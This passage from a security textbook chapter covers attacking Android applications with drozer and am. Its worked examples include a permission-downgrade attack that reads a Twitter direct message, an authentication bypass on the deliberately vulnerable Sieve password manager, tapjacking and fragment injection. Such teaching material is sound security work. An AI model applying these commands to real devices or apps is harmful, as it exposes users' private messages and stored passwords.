CHAPTER 7
Attacking Android Applications

With everything you now know about Android applications and the environment under which they operate, you would be correct in assuming that every developer cannot get everything right. Without a deep technical understanding of every security mechanism at play, creating an application that has no vulnerabilities is tough for a developer.

An attacker who is seeking to find vulnerabilities in an application should consider multiple approaches and testing perspectives. The three high-level components to consider for each application are shown in Figure 7.1 and discussed in the list that follows.

images

Figure 7.1 A high-level overview of various testing perspectives of an Android application

This chapter focuses heavily on attacking applications on a device and their communication channels with Internet servers. This chapter does not cover vulnerabilities found in Internet servers. Dozens of publications have discussed this vast topic in the past, and it will continue to change. Web service vulnerabilities or other APIs that an application may communicate with are also not covered.

Before delving into attacking applications, we need to explore some application security model quirks that will be used as the basis for attack later in the chapter.

Exposing Security Model Quirks

The Android security model is full of little quirks that are beneficial to know about when attempting to find vulnerabilities in applications. This section covers the especially important quirks for application testers to consider.

Interacting with Application Components

Applications on a device can interact with components that are exported. However, defining the conditions that make a component “exported” is not simple and can differ depending on the version of Android in use. Components can end up becoming exported to other applications running on the same device in three ways: by the default export behavior, by being explicitly exported, and by being implicitly exported, as discussed next.

Default Export Behavior

Table 7.1 shows the default export behavior of each application component on different Android API versions.

Table 7.1 The Default Export Behavior of Each Application Component Across API Versions

APPLICATION COMPONENT EXPORTED (API < 17) EXPORTED (API >= 17)
Activity False False
Broadcast receiver False False
Service False False
Content provider True False

In API version 17, which equates to Android 4.2 Jelly Bean, content providers are no longer exported by default. However, if the targetSdkVersion of an application is set to 16 or lower, the content provider will still be exported by default. You can read more about this security enhancement at http://android-developers.blogspot.com/2013/02/security-enhancements-in-jelly-bean.html. This means that if the declaration of a content provider does not specify an android:exported attribute, its exposure depends on what version of Android the device is running. If it is running on Android 4.2 or above then it will depend on the targetSdkVersion set in the <uses-sdk> element of the manifest. If it is running on a device that is running a version of Android before 4.2, the content provider is exposed. Here is an example of a content provider manifest declaration lacking this explicit attribute:

<provider android:name="com.mahh.app" 
          android:authorities="com.mahh.content" />

Explicitly Exported

Application components can be explicitly marked as exported in the application manifest. This is the most obvious way to know that a component is exported. The following is an example of an exported broadcast receiver manifest declaration:

<receiver 
    android:name="com.mahh.receiver" 
    android:exported="true" > 
</receiver>

Implicitly Exported

Any component that makes use of an <intent-filter> is exported by default. This means that even intents that aren’t explicitly targeting an application component’s intent filter can still be sent to the component. Here is an example of an activity with an intent filter specified:

<activity android:name="ImageActivity"> 
    <intent-filter> 
        <action android:name="android.intent.action.SEND"/> 
        <category android:name="android.intent.category.DEFAULT"/> 
        <data android:mimeType="image/*"/> 
    </intent-filter> 
</activity> 

No android:exported attribute is specified and by default activities are not exported. However, because of the intent filter present, this activity is still exported.

Finding Exported Components

You can find exported components of an application by inspecting the application’s manifest for the three techniques mentioned. You can also use drozer from multiple viewpoints. The app.package.attacksurface module is perfect for getting a high-level view of the exported components of an application. You run this module against the Android browser as follows:

dz> run app.package.attacksurface com.android.browser 
Attack Surface: 
  6 activities exported 
  4 broadcast receivers exported 
  1 content providers exported 
  0 services exported 

For a more detailed view of the specific components exported, use the app.<component>.info modules. For example, you can view the broadcast receivers exposed by the Android browser:

dz> run app.broadcast.info -a com.android.browser 
Package: com.android.browser 
  com.android.browser.widget.BookmarkThumbnailWidgetProvider 
    Permission: null 
  com.android.browser.OpenDownloadReceiver 
    Permission: null 
  com.android.browser.AccountsChangedReceiver 
    Permission: null 
  com.android.browser.PreloadRequestReceiver 
    Permission: com.android.browser.permission.PRELOAD 

For a more verbose view of any intent filters set on these components that may have caused the component to become exported, use the -i flag on these modules.

Supreme User Contexts

In Chapter 6, you saw that the Android security model consists of a blend of a traditional UNIX file permission enforcement model and custom kernel elements that control the access to assets using permissions. The two most important user contexts that control these security functions are the root and system users.

With these user contexts having such powerful privileges on the OS, it is natural to expect that they can exert control over installed applications as well. Let us shed some light on one particular fact: The root and system users can interact with application components even when they are not exported. Whether an application exports a component in its manifest or not is relevant only when the calling application is another non-system application. Code running as root or system can interact with any component and send intents to them even when they are not exported in their manifest. This means that an attacker who has gained this level of access to a device can use it to send intents to components that were never intended to be accessible. Examples of interacting with each application component in this way are explained in the relevant sections under the “Attacking Application Components” portion of this chapter.

Application developers generally consider components that are not exported in their manifest to be private and limited to internal use by the application. However, the issues that can be uncovered by abusing this level of access is relatively low-risk because an attacker who has gained this level of access is able to do many worse things on the compromised device. Chapter 8 explores these attacks in more depth. To find components that are not exported by an application, you can examine the manifest or use the -u flag on any of the drozer app.<component> .info modules.

Permission Protection Levels

The best available protection against an unauthorized application being able to interact with an application component is making use of a custom permission with protection level signature. This ensures that only another application that was signed by the same certificate can be granted this permission.

However, on February 12, 2012, Mark Murphy described a scenario where the signature protection level could be bypassed, and documented it at http://commonsware.com/blog/2014/02/12/vulnerabilities-custom-permissions.html. He found that Android uses a “first one in wins” mentality in regard to protection levels on permissions. This means that the first application to define a permission also sets the permission’s attributes regardless of applications that may define the same permission after that. This will be referred to from this point onward as a Protection Level Downgrade Attack. The following is the attack scenario:

  1. An installed malicious application defines a set of known permission names from popular applications with a protection level of normal.
  2. The user then installs a popular application and the OS sees that one of the permissions is already defined. This leads the OS to ignore the protection level of the permission and stick to the known parameters already defined by the malicious application.
  3. The permission that is supposed to be used to protect application components now has a downgraded protection level of normal instead of another more secure value like signature. Even though the permission was defined with a signature protection level, which was defined by the legitimate application, Android does not know any different.
  4. The malicious application can interact with the no-longer protected application components defined with the downgraded permission.

As a proof of concept, we perform a practical example of this attack on the Twitter application here. The Twitter application defines a number of permissions, which are bolded:

  dz> run app.package.info -a com.twitter.android 
  Package: com.twitter.android 
Application Label: Twitter 
Process Name: com.twitter.android 
Version: 5.31.0 
Data Directory: /data/data/com.twitter.android 
APK Path: /data/app/com.twitter.android-1.apk 
UID: 10236 
GID: [3003, 1028, 1015] 
Shared Libraries: null 
Shared User ID: null 
Uses Permissions: 
  - com.twitter.android.permission.C2D_MESSAGE 
  - com.twitter.android.permission.RESTRICTED 
  - com.twitter.android.permission.AUTH_APP 
  - android.permission.INTERNET 
  - android.permission.ACCESS_NETWORK_STATE 
  - android.permission.VIBRATE 
  - android.permission.READ_PROFILE 
  - android.permission.READ_CONTACTS 
  - android.permission.RECEIVE_SMS 
  - android.permission.GET_ACCOUNTS 
  - android.permission.MANAGE_ACCOUNTS 
  - android.permission.AUTHENTICATE_ACCOUNTS 
  - android.permission.READ_SYNC_SETTINGS 
  - android.permission.WRITE_SYNC_SETTINGS 
  - android.permission.ACCESS_FINE_LOCATION 
  - android.permission.USE_CREDENTIALS 
  - android.permission.SYSTEM_ALERT_WINDOW 
  - android.permission.WAKE_LOCK 
  - android.permission.WRITE_EXTERNAL_STORAGE 
  - com.twitter.android.permission.READ_DATA 
  - com.google.android.c2dm.permission.RECEIVE 
  - com.google.android.providers.gsf.permission.READ_GSERVICES 
  - com.twitter.android.permission.MAPS_RECEIVE 
  - com.android.launcher.permission.INSTALL_SHORTCUT 
  - android.permission.READ_PHONE_STATE 
  - com.sonyericsson.home.permission.BROADCAST_BADGE 
  - com.sec.android.provider.badge.permission.READ 
  - com.sec.android.provider.badge.permission.WRITE 
  - android.permission.CAMERA 
  - android.permission.ACCESS_WIFI_STATE 
  - android.permission.READ_EXTERNAL_STORAGE 
  Defines Permissions: 
  - com.twitter.android.permission.READ_DATA 
  - com.twitter.android.permission.MAPS_RECEIVE 
  - com.twitter.android.permission.C2D_MESSAGE 
  - com.twitter.android.permission.RESTRICTED 
  - com.twitter.android.permission.AUTH_APP 

To build a drozer agent that requests the defined permissions use the following command:

$ drozer agent build --permission  com.twitter.android.permission
.READ_DATA 
com.twitter.android.permission.MAPS_RECEIVE 
com.twitter.android.permission.C2D_MESSAGE 
com.twitter.android.permission.RESTRICTED 
com.twitter.android.permission.AUTH_APP 
Done: /tmp/tmpNIBfbw/agent.apk 

Installing the newly generated agent and checking logcat reveals that only a single permission was granted: the com.twitter.android.permission.AUTH_APP permission. At this point, interacting with any protected application components on the Twitter application correctly results in a permission denial. You can test this on any permission-protected application component, but here is a look at the content providers exposed by Twitter:

dz> run app.provider.info -a com.twitter.android 
Package: com.twitter.android 
  Authority: com.twitter.android.provider.TwitterProvider 
    Read Permission: com.twitter.android.permission.RESTRICTED 
    Write Permission: com.twitter.android.permission.RESTRICTED 
    Content Provider: com.twitter.library.provider.TwitterProvider 
    Multiprocess Allowed: False 
    Grant Uri Permissions: False 
    Path Permissions: 
      Path: /status_groups_view 
        Type: PATTERN_PREFIX 
        Read Permission: com.twitter.android.permission.READ_DATA 
        Write Permission: null 
  Authority: com.twitter.android.provider.SuggestionsProvider 
    Read Permission: com.twitter.android.permission.RESTRICTED 
    Write Permission: com.twitter.android.permission.RESTRICTED 
    Content Provider: com.twitter.android.provider.SuggestionsProvider 
    Multiprocess Allowed: False 
    Grant Uri Permissions: False 
    Path Permissions: 
      Path: /search_suggest_query 
        Type: PATTERN_PREFIX 
        Read Permission: android.permission.GLOBAL_SEARCH 
        Write Permission: null 

The com.twitter.android.permission.RESTRICTED permission that protects one of the content providers has the protectionLevel of signature, which is the most stringent that Android has to offer. This means that an application that requests this permission will not have it granted unless the signing certificate matches that of the Twitter application. To see this protection level, use drozer as shown here:

dz> run information.permissions --permission 
 com.twitter.android.permission.RESTRICTED 
No description 
2 - signature 

Next, uninstall the Twitter application and compile and install a version of drozer that defines all the permissions of the Twitter application with a protection level of normal instead and then also uses these permissions:

$ drozer agent build --define-permission 
com.twitter.android.permission.READ_DATA normal 
com.twitter.android.permission.MAPS_RECEIVE normal 
com.twitter.android.permission.C2D_MESSAGE normal 
com.twitter.android.permission.RESTRICTED normal --permission 
com.twitter.android.permission.READ_DATA 
com.twitter.android.permission.MAPS_RECEIVE 
com.twitter.android.permission.C2D_MESSAGE 
com.twitter.android.permission.RESTRICTED 
com.twitter.android.permission.AUTH_APP 
Done: /tmp/tmpZQugD_/agent.apk 
 
$ adb install /tmp/tmpZQugD_/agent.apk 
2528 KB/s (653400 bytes in 0.252s) 
     pkg: /data/local/tmp/agent.apk 
Success

Now, when a user installs Twitter the defined permissions retain their protection level of normal, which allows the exposure of all the components being protected by these permissions. The example queries a Twitter content provider for the most recent Direct Message (DM) sent to the user:

dz> run app.provider.query content://com.twitter.android.provider 
.TwitterProvider/messages?limit=1&ownerId=536649879 --projection content 
| content                       | 
| This should be private right? | 

It is important to note that this is not a vulnerability in the Twitter application but rather shows a broader platform security quirk. More detail on querying content providers is provided later in this chapter. The important point to take away from this example: Installing a malicious application that defines particular permissions prior to a legitimate application being installed that defines the same permissions is one way to defeat the entire permission security model.

Attacking Application Components

Attacking another application over the Android IPC system involves finding all the exported components of the application and attempting to use them in a way that was not intended. For activities, broadcast receivers, and services this means you must examine all the code that handles intents from other applications. Before examining this code in search of vulnerabilities, you must fully understand intents themselves.

A Closer Look at Intents

An intent is a data object that loosely defines a task to be performed. It can contain data and all relevant information about the action to be performed on the data or only have a single field of information in it. An intent can be sent to different exported components to start or interact with them. To start an activity, an intent can be sent with the startActivity(Intent) method from the Context class. In a similar way, sendBroadcast(Intent) and startService(Intent) can be used to interact with broadcast receivers and services. An intent object is generic and not specific to the type of component receiving it.

Android offers two fundamentally different types of intents: explicit and implicit intents. Explicit intents directly state the component that must receive the intent. You do this using the setComponent() or setClass() methods on an intent object. Stating the component that must receive the intent bypasses the intent resolution process the OS can undertake and directly delivers the intent to the specified component.

On the other hand, an implicit intent does not state the component to which it must be delivered. Rather, it relies on the OS to determine the possible candidate(s) where the intent can be delivered. For instance, multiple applications on a device may be capable of handling MP3 music files and if more than one choice exists, then an application chooser activity may be displayed to the user to ask which application to deliver the intent to. This intent resolution process relies on the matching of the presented intent against all the relevant intent filters defined by installed applications. Intents can be matched against intent filters using three types of information:

  • Action
  • Data
  • Category

When defining an intent filter, specifying an action element is compulsory. Intent filters can catch relevant data in many different ways, for instance:

  • Scheme—This is the scheme of any URI. For example, on https://www.google.com, the scheme is https.
  • Host—This is the host portion of a URI. For example, on https://www.google.com, the host is www.google.com.
  • Port—This is the port portion of a URI. This can catch URIs that target a specific port.
  • Path, pathPrefix, and pathPattern—These can be used to match any part of the data to a desired value.
  • MimeType—This defines a specific MIME type for the data that is specified inside the intent.

A component to which you, as an attacker, have sent an intent may be looking for any one of the preceding requirements. This is why when you examine an exported component, reviewing the code that handles incoming intents is important. As food for thought, what if a malicious application had to define an intent filter for a particular intent that is known to contain sensitive information in it? Maybe this malicious application would be able to receive it. We explore this in greater detail later in this chapter under “Intent Sniffing”. The sending of crafted intents for each component is also explored in their relevant sections. A utility named am is present on each Android device that allows the crafting and sending of intents to defined application components. A shortened version of the usage of am is shown here:

shell@android:/ $ am 
usage: am [subcommand] [options] 
usage: am start [-D] [-W] [-P <FILE>] [--start-profiler <FILE>] 
               [--R COUNT] [-S] [--opengl-trace] 
               [--user <USER_ID> | current] <INTENT> 
       am startservice [--user <USER_ID> | current] <INTENT> 
       am stopservice [--user <USER_ID> | current] <INTENT> 
       ... 
       am broadcast [--user <USER_ID> | all | current] <INTENT> 
       ... 
 
am start: start an Activity.  Options are: 
    -D: enable debugging 
    -W: wait for launch to complete 
    --start-profiler <FILE>: start profiler and send results to <FILE> 
    -P <FILE>: like above, but profiling stops when app goes idle 
    -R: repeat the activity launch <COUNT> times.  Prior to each repeat, 
        the top activity will be finished. 
    -S: force stop the target app before starting the activity 
    --opengl-trace: enable tracing of OpenGL functions 
    --user <USER_ID> | current: Specify which user to run as; if not 
        specified then run as the current user. 
 
am startservice: start a Service.  Options are: 
    --user <USER_ID> | current: Specify which user to run as; if not 
        specified then run as the current user. 
 
am stopservice: stop a Service.  Options are: 
    --user <USER_ID> | current: Specify which user to run as; if not 
        specified then run as the current user. 
 
... 
 
am broadcast: send a broadcast Intent.  Options are: 
    --user <USER_ID> | all | current: Specify which user to send to; if not 
        specified then send to all users. 
    --receiver-permission <PERMISSION>: Require receiver to hold 
        permission. 
 
... 
 
<INTENT> specifications include these flags and arguments: 
    [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>] 
    [-c <CATEGORY> [-c <CATEGORY>] ...] 
    [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...] 
    [--esn <EXTRA_KEY> ...] 
    [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...] 
    [--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...] 
    [--el <EXTRA_KEY> <EXTRA_LONG_VALUE> ...] 
    [--ef <EXTRA_KEY> <EXTRA_FLOAT_VALUE> ...] 
    [--eu <EXTRA_KEY> <EXTRA_URI_VALUE> ...] 
    [--ecn <EXTRA_KEY> <EXTRA_COMPONENT_NAME_VALUE>] 
    [--eia <EXTRA_KEY> <EXTRA_INT_VALUE>[,<EXTRA_INT_VALUE...]] 
    [--ela <EXTRA_KEY> <EXTRA_LONG_VALUE>[,<EXTRA_LONG_VALUE...]] 
    [--efa <EXTRA_KEY> <EXTRA_FLOAT_VALUE>[,<EXTRA_FLOAT_VALUE...]] 
    [-n <COMPONENT>] [-f <FLAGS>] 
    [--grant-read-uri-permission] [--grant-write-uri-permission] 
    [--debug-log-resolution] [--exclude-stopped-packages] 
    [--include-stopped-packages] 
    [--activity-brought-to-front] [--activity-clear-top] 
    [--activity-clear-when-task-reset] [--activity-exclude-from-recents] 
    [--activity-launched-from-history] [--activity-multiple-task] 
    [--activity-no-animation] [--activity-no-history] 
    [--activity-no-user-action] [--activity-previous-is-top] 
    [--activity-reorder-to-front] [--activity-reset-task-if-needed] 
    [--activity-single-top] [--activity-clear-task] 
    [--activity-task-on-home] 
    [--receiver-registered-only] [--receiver-replace-pending] 
    [--selector] 
    [<URI> | <PACKAGE> | <COMPONENT>] 

Sending intents using either am or drozer will be shown in each of the sections. You can find the official Android documentation on intents at the following address: http://developer.android.com/guide/components/intents- filters.html. Let us get started on attacking application components.

Introducing Sieve: Your First Target Application

Various Android training applications have been created that contain intentional vulnerabilities. This is to facilitate learning of the types of vulnerabilities that can exist in an application. Many such applications are available with varying degrees of usefulness for a beginner.

Much of this chapter makes use of a vulnerable application created by Matthew Uzzell and Daniel Bradberry from MWR InfoSecurity, named Sieve. You can download it alongside drozer at the following address: https://www.mwrinfosecurity.com/products/drozer/community-edition/. Sieve is a password manager that allows a user to save usernames and passwords for any online service in a “secure” manner. It makes use of a master password and PIN defined by the user and encrypts password entries in its database. On the surface, it meets all the requirements for being a secure password manager, but after you dig deeper you will see that the security provided is broken in many ways. A user who has configured Sieve is presented with a password prompt when logging in after device power up and then a PIN prompt thereafter. Figure 7.2 shows screenshots of Sieve.

images

Figure 7.2 The vulnerable Sieve password manager application

After you install it, you can find the package name of Sieve by using the app .package.info module with a filter for the word Sieve, which is the application label associated with its launcher icon.

dz> run app.package.list -f Sieve 
com.mwr.example.sieve (Sieve) 

You can examine exported application components of Sieve in its manifest using one of several tools shown in Chapter 6. Inside drozer, you can use the following method:

dz> run app.package.manifest com.mwr.example.sieve 
<manifest versionCode="1" 
          versionName="1.0" 
          package="com.mwr.example.sieve"> 
  <uses-permission name="android.permission.READ_EXTERNAL_STORAGE"> 
  </uses-permission> 
  <uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE"> 
  </uses-permission> 
  <uses-permission name="android.permission.INTERNET"> 
  </uses-permission> 
  <permission label="Allows reading of the Key in Sieve" 
              name="com.mwr.example.sieve.READ_KEYS" 
              protectionLevel="0x1"> 
  </permission> 
  <permission label="Allows editing of the Key in Sieve" 
              name="com.mwr.example.sieve.WRITE_KEYS" 
              protectionLevel="0x1"> 
  </permission> 
  <uses-sdk minSdkVersion="8" 
            targetSdkVersion="17"> 
  </uses-sdk> 
  <application theme="@2131099649" 
               label="@2131034112" 
               icon="@2130837504" 
               debuggable="true" 
               allowBackup="true"> 
    <activity label="@2131034127" 
              name=".FileSelectActivity" 
              exported="true" 
              finishOnTaskLaunch="true" 
              clearTaskOnLaunch="true" 
              excludeFromRecents="true"> 
    </activity> 
    <activity label="@2131034112" 
              name=".MainLoginActivity" 
              excludeFromRecents="true" 
              launchMode="2" 
              windowSoftInputMode="0x14"> 
      <intent-filter> 
        <action name="android.intent.action.MAIN"> 
        </action> 
        <category name="android.intent.category.LAUNCHER"> 
        </category> 
      </intent-filter> 
    </activity> 
    <activity label="@2131034121" 
              name=".PWList" 
              exported="true" 
              finishOnTaskLaunch="true" 
              clearTaskOnLaunch="true" 
              excludeFromRecents="true"> 
    </activity> 
    <activity label="@2131034122" 
              name=".SettingsActivity" 
              finishOnTaskLaunch="true" 
              clearTaskOnLaunch="true" 
              excludeFromRecents="true"> 
    </activity> 
    <activity label="@2131034123" 
              name=".AddEntryActivity" 
              finishOnTaskLaunch="true" 
              clearTaskOnLaunch="true" 
              excludeFromRecents="true"> 
    </activity> 
    <activity label="@2131034124" 
              name=".ShortLoginActivity" 
              finishOnTaskLaunch="true" 
              clearTaskOnLaunch="true" 
              excludeFromRecents="true"> 
    </activity> 
    <activity label="@2131034125" 
              name=".WelcomeActivity" 
              finishOnTaskLaunch="true" 
              clearTaskOnLaunch="true" 
              excludeFromRecents="true"> 
    </activity> 
    <activity label="@2131034126" 
              name=".PINActivity" 
              finishOnTaskLaunch="true" 
              clearTaskOnLaunch="true" 
              excludeFromRecents="true"> 
    </activity> 
    <service name=".AuthService" 
             exported="true" 
             process=":remote"> 
    </service> 
    <service name=".CryptoService" 
             exported="true" 
             process=":remote"> 
    </service> 
    <provider name=".DBContentProvider" 
              exported="true" 
              multiprocess="true" 
              authorities="com.mwr.example.sieve.DBContentProvider"> 
     <path-permission readPermission="com.mwr.example.sieve.READ_KEYS" 
                      writePermission="com.mwr.example.sieve.WRITE_KEYS" 
                      path="/Keys"> 
     </path-permission> 
    </provider> 
    <provider name=".FileBackupProvider" 
              exported="true" 
              multiprocess="true" 
              authorities="com.mwr.example.sieve.FileBackupProvider"> 
    </provider> 
  </application> 
</manifest> 

To see a shortened summary of the exported components, use the app.package .attacksurface module, shown here:

dz> run app.package.attacksurface com.mwr.example.sieve 
Attack Surface: 
  3 activities exported 
  0 broadcast receivers exported 
  2 content providers exported 
  2 services exported 
    is debuggable

The rest of this chapter explores each of these application components (in addition to many other aspects of the application’s security).

Exploiting Activities

Activities are the graphical user interface of an application for the user. As such, they control the user input into functionality and have a direct impact on the security of an application. An application typically contains many different activities. Some may be exported and others may only be intended to be started by other code inside the same application and not directly exported.

Consider an application that has a login activity. This activity and its underlying code are responsible for checking whether the correct password is entered. According to this check, the code may launch another activity with authenticated content and functionality.

Unprotected Activities

What if the developer exported all the activities, including the ones that provide authenticated functionality? This means that another application on the device, or a user interacting with the device, will be able to launch the authenticated activity directly.

Examining all the activities exported by the Sieve application reveals the following:

dz> run app.activity.info -a com.mwr.example.sieve 
Package: com.mwr.example.sieve 
  com.mwr.example.sieve.FileSelectActivity 
    Permission: null 
  com.mwr.example.sieve.MainLoginActivity 
    Permission: null 
  com.mwr.example.sieve.PWList 
    Permission: null 

This shows three exported activities that do not require any permissions from the caller to be interacted with. The main activity of an application has to be exported so that it can be started when the launcher icon is clicked. It always has an intent filter that looks as follows:

<intent-filter> 
    <action android:name="android.intent.action.MAIN"/> 
    <category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 

You can find this activity by examining the manifest of the application or using the app.package.launchintent module. Here is the latter method:

dz> run app.package.launchintent com.mwr.example.sieve 
Launch Intent: 
  Action: android.intent.action.MAIN 
  Component: 
{com.mwr.example.sieve/com.mwr.example.sieve.MainLoginActivity} 
  Data: null 
  Categories: 
     - android.intent.category.LAUNCHER 
  Flags: [ACTIVITY_NEW_TASK] 
  Mime Type: null 
  Extras: null 

When a user has opened Sieve previously, launching the application shows an activity requesting the user’s PIN. This leaves you with two other exported activities that can be started. Systematically invoke each exported activity using drozer and the app.activity.start module as follows:

dz> run app.activity.start --component <package_name> <full_activity_name> 

In the case of the PWList activity in the Sieve application, the following command opens the exported activity:

dz> run app.activity.start --component com.mwr.example.sieve 
com.mwr.example.sieve.PWList 

This reveals all the accounts held by the password manager without having to enter the PIN. Figure 7.3 shows the launched activity.

images

Figure 7.3 Exported activity that leads to the disclosure of all accounts within Sieve

This direct authentication bypass of this application occurs by invoking one command. In addition to simply starting each exposed activity, you should review the onCreate() method of each in search of conditional statements that may lead to other code paths or unexpected behavior. You can never know what kinds of Easter eggs are hiding in this method that could cause the application to perform an action that is completely out of character, like taking one of the parameters from the intents and using it as part of an operating system command that it executes. You may think that this is unlikely and contrived, but through your adventures with reversing and bug hunting on Android you will see stranger things.

Activities are also capable of sending information back to the caller when they finish(). This can be done by using the setResult()function, which can contain an intent with any information that the activity wants to send back to the caller. If the calling application started the activity using startActivityForResult()rather than startActivity()then the intent received from the started activity can be caught inside the overridden onActivityResult()callback. Checking whether an activity sends a result back is as simple as checking for the existence of the keyword setResult in the activity’s code.

Because activities that are not exported can still be started by a privileged user, a user who has privileged access to a device can use this access to perform all kinds of authentication bypass tricks on installed applications. This attack vector may be limited due to this requirement but will be explored anyway. To find the activities that are not exported by an application, you can examine the manifest or use the -u flag on the app.activity.info module. For example, on the Sieve application the output is as follows:

dz> run app.activity.info -a com.mwr.example.sieve -u 
Package: com.mwr.example.sieve 
  Exported Activities: 
    com.mwr.example.sieve.FileSelectActivity 
      Permission: null 
    com.mwr.example.sieve.MainLoginActivity 
      Permission: null 
    com.mwr.example.sieve.PWList 
      Permission: null 
  Hidden Activities: 
    com.mwr.example.sieve.SettingsActivity 
      Permission: null 
    com.mwr.example.sieve.AddEntryActivity 
      Permission: null 
    com.mwr.example.sieve.ShortLoginActivity 
      Permission: null 
    com.mwr.example.sieve.WelcomeActivity 
      Permission: null 
    com.mwr.example.sieve.PINActivity 
      Permission: null 

After examining the application’s behavior and code further, an interesting activity for an attacker to start would be the SettingsActivity. This activity allows the attacker to get to the Settings menu and conveniently back up the password database to the SD card. To launch this activity from a root ADB shell, use the following command:

root@generic:/ # am start -n com.mwr.example.sieve/.SettingsActivity 
Starting: Intent { cmp=com.mwr.example.sieve/.SettingsActivity } 

The fact that an activity is not exported means only that it cannot be interacted with by a non-privileged caller. To protect against this, an additional authentication mechanism could be used on the Sieve application. Chapter 9 covers how additional protections can be put in place.

Tapjacking

On December 9, 2010, Lookout discussed an attack vector named tapjacking at https://blog.lookout.com/look-10-007-tapjacking/. This is essentially the mobile equivalent of the clickjacking web vulnerability (also known as UI redressing). Tapjacking is when a malicious application overlays a fake user interface over another application’s activity to trick users into clicking on something they did not intend to.

This is possible using a UI feature called toasts. Toasts are usually used to display small pieces of information to the user without the ability for the user to interact with it. It is meant to be non-intrusive and transparently overlays any activity that the user has open at that time. However, these toasts can be completely customized and made to fill the entire screen with a design that makes it look like a proper activity. The dangerous part is that if the user attempts to click on something on this new “activity,” their input still gets received by the activity that is beneath the toast. This means that it is possible to trick a user into clicking on part of an activity that is not visible. How effective this attack is depends on the creativity of the attacker.

An overoptimistic example of performing this attack may be for a malicious application to open the Play Store activity and trick the user into installing an application. Remember that any application can start an exported activity and all launcher activities of installed applications are exported due to their intent filters. The attacker’s application may open the Play Store and then immediately initiate a sequence of custom toasts that display a game to the user, or some sequence of screen taps that the user needs to perform in order to exit the “user interface” or “win the game.” All the while, the placement of each item ensures the user’s taps are performing actions on the Play Store in the background. Figure 7.5 illustrates how the placement of fictitious clickable items could be used to install a new application.

images

Figure 7.5 An illustration of how a toast could be used to perform unintended actions on underlying activities

Testing for this issue in your application can be done using a proof-of-concept application created by Caitlin Harrison of MWR InfoSecurity. It allows you to configure a customized toast that gets displayed on the screen at a specified position. This code runs in a service in the background and allows you to navigate to your target application and test whether you can still interact with the underlying activities of the application while the toast is being displayed. This application can be downloaded from https://github.com/mwrlabs/tapjacking-poc.

Searching the application’s Dalvik Executable (classes.dex) and application resources for instances of the word filterTouchesWhenObscured may also indicate that the activities being tested are not vulnerable to this attack. Chapter 9 explores more on securing an activity against this type of attack.

Recent Application Screenshots

Android stores a list of recently used applications, shown in Figure 7.6, that can be accessed by long-clicking the home button.

images

Figure 7.6 The recent applications being shown on a device

The thumbnails associated with each of these entries are a screenshot of the last activity shown before the application was closed. Depending on the application, this could display sensitive information to an attacker who has compromised the device and has privileged access. These thumbnails are not stored on disk like on iOS and can only be retrieved from memory by an attacker with privileged access. You can find the particular class that stores these screenshots in the Android source at https://github.com/android/platform_frameworks_base/blob/master/services/java/com/android/server/am/TaskRecord.java0, and it extends the class found at https://github.com/gp-b2g/frameworks_base/blob/master/services/java/com/android/server/am/ThumbnailHolder.java.

Allowing the OS to take application screenshots of activities is somewhat of a low-risk issue but may be important depending on the sensitivity of the information displayed by an application. Chapter 9 provides techniques for stopping activities from displaying sensitive information in these screenshots.

Fragment Injection

An activity can contain smaller UI elements named fragments. They can be thought of as “sub activities” that can be used to swap out sections of an activity and help facilitate alternate layouts for different screen sizes and form factors that an Android application can run on.

On December 10, 2013, Roee Hay from IBM Security Systems publicized a vulnerability that affected all applications with exported activities that extend the PreferenceActivity class. In the onCreate() method of the PreferenceActivity class, it was discovered to be retrieving an extra named :android:show_fragment from the user-supplied bundle. This extra can be provided by the application that sent the intent and the name of a fragment within the target application specified to be loaded. This allows the loading of any chosen fragment within the activity, which may have only been used inside non-exported activities under normal use. This may reveal functionality that was not intended by the developer.

All exported activities that extend PreferenceActivity and are running on Android 4.3 or prior are vulnerable. This attack was mitigated by Android in versions 4.4 onward by providing a new method in the PreferenceActivity class named isValidFragment() to allow developers to override it and validate which fragments can be loaded inside the activity. Performing poor validation on the fragment name supplied to this method or simply returning true in this method without performing any checks would still result in fragment injection attacks being possible. More information on how to implement correct checking is given in Chapter 9.

Trust Boundaries

Android application components are very modular and can be controlled from any part of the application code using intents. This means that no default boundaries exist between any sections of the code. When you consider an application that has a login screen, controlling access to functionality that is only supposed to be accessible to a “logged in” user is completely dependent on how the application was designed. Developers have the freedom to implement authentication mechanisms in any way they want.

Sieve contains an example of a failed trust boundary in the main login activity. A user who has not entered his password yet to log in to the application can still access the settings, as shown in Figure 7.8.

images

Figure 7.8 Sieve allows the Settings activity to be opened without logging in

This Settings menu contains features that will allow an attacker to compromise the password database without ever knowing the application’s password. This functionality was clearly only intended to be used once the user was authenticated; however, it was exposed in an untrusted activity. Such flaws can often easily be exposed by invoking activities that are not actually exported by an application. Performing an attack of this nature using an ADB root shell was discussed earlier in this section.

Exploiting Insecure Content Providers

The security of content providers has a notorious past on Android, because they often hold an application’s most sensitive data and many application developers have not properly secured them. These vulnerabilities were partially because of Android’s reverse logic on content providers in regard to how they are exported by default. Content providers were the only application component that was exported by default on Android, but this situation has since been amended in API version 17. Note that the default behavior is still to export a content provider if the android:targetSdkVersion is set to a value smaller than 17, and so these issues are still prevalent.

Unprotected Content Providers

A common root cause of content provider problems is the fact that they are not explicitly marked as exported="false" in their manifest declarations because the assumption is that they follow the same default export behavior as other components. At the time of writing, many applications still target SDK versions lower than API 17 (which equates to Android 4.1). This means that if exported="false" is not explicitly stated on the content provider declaration in the manifest, it is exported.

Several drozer modules help you gather information about exported content providers and then allow you to interact with them. On the Sieve application, you can retrieve information about the content providers using the following:

dz> run app.provider.info -a com.mwr.example.sieve 
Package: com.mwr.example.sieve 
  Authority: com.mwr.example.sieve.DBContentProvider 
    Read Permission: null 
    Write Permission: null 
    Content Provider: com.mwr.example.sieve.DBContentProvider 
    Multiprocess Allowed: True 
    Grant Uri Permissions: False 
    Path Permissions: 
      Path: /Keys 
        Type: PATTERN_LITERAL 
        Read Permission: com.mwr.example.sieve.READ_KEYS 
        Write Permission: com.mwr.example.sieve.WRITE_KEYS 
  Authority: com.mwr.example.sieve.FileBackupProvider 
    Read Permission: null 
    Write Permission: null 
    Content Provider: com.mwr.example.sieve.FileBackupProvider 
    Multiprocess Allowed: True 
    Grant Uri Permissions: False 

